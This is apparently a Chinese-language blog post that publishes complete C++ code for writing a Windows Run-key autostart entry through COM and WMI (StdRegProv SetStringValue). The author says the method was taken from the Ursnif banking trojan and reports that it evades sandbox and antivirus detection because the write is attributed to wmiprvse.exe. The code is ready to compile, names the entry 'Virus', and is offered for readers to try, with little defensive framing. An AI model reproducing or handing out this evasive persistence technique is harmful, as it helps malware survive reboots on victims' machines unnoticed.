绕过安全软件设置注册表
1.前言
这个设置注册表的方式利用到了COM组件,这是我分析Ursnif银行木马时发现的一种利用方式,利用COM组件调用wmi设置注册表,如果用监控工具会看到设置注册表项的系统进程wmiprvse.exe。这里用了一些沙箱测试并没有检测出设置敏感注册表的行为,国内杀软也没爆出设置了敏感注册表的警告,具体就不详细说了,感兴趣的可以自己尝试一下。这个操作不知道有没有其他大佬写过,如有冲突望告知。
2.正文
这里就直接上代码了,主要是在run下设置一个键值,这里没有其他操作了,需要管理员权限运行,然后编译时要根据系统版本编译为x86或x64。
1 #include<iostream> 2 #include<comutil.h> 3 #include<WbemIdl.h> 4 #include<tchar.h> 5 #include<Exdisp.h> 6 #include<Winhttp.h> 7 8 #pragma comment(lib,"Wbemuuid.lib") 9 #pragma comment(lib,"comsuppw.lib") 10 11 int _tmain(int argc, _TCHAR* argv[]) 12 { 13 //初始化 14 HRESULT hres = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); 15 if (FAILED(hres)) 16 { 17 return 0; 18 } 19 20 //实例化 21 IWbemLocator *pLoc = NULL; 22 hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc); 23 if (FAILED(hres)) 24 { 25 CoUninitialize(); 26 return 0; 27 } 28 29 //连接到命名空间 30 IWbemServices *pSvc = NULL; 31 pLoc->ConnectServer(L"root\\default", NULL, NULL, 0, NULL, 0, 0, &pSvc); 32 33 CoSetProxyBlanket(pSvc, 10, 0, 0, 3, 3, 0, 0); 34 35 pLoc->Release(); 36 37 //获取对象StdRegProv 38 IWbemClassObject *pObject = NULL; 39 pSvc->GetObjectW(L"StdRegProv", 0, 0, &pObject, 0); 40 41 //获取方法SetDWORDValue 42 IWbemClassObject *pInSignature = NULL; 43 pObject->GetMethod(L"SetStringValue", 0, &pInSignature, 0); 44 45 //设置注册表项 46 _variant_t var1(L"2147483650"); 47 pInSignature->Put(L"hDefKey", 0, &var1, CIM_UINT32); 48 49 //设置路径 50 _variant_t var2(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); 51 pInSignature->Put(L"sSubKeyName", 0, &var2, CIM_STRING); 52 53 //设置项名 54 _variant_t var3(L"Virus"); 55 pInSignature->Put(L"sValueName", 0, &var3, CIM_STRING); 56 57 //设置值 58 _variant_t var4(L"D:\\test.exe"); 59 pInSignature->Put(L"sValue", 0, &var4, CIM_STRING); 60 61 IWbemClassObject *pOutParams = NULL; 62 pSvc->ExecMethod(L"StdRegProv", L"SetStringValue", 0, 0, pInSignature, &pOutParams, 0); 63 64 pInSignature->Release(); 65 66 pObject->Release(); 67 68 pSvc->Release(); 69 70 return 0; 71 }
结果如图
3.对com的一些看法
对于COM没有很深的了解所以也不说太多。不过COM在安全方面的利用也开始慢慢多起来了,像玩转COM对象和玩转COM对象(Part 2)中就利用到了COM进行一些骚操作。如果有对COM有兴趣的,就加群一起讨论一下吧。
谦谦君子,卑以自牧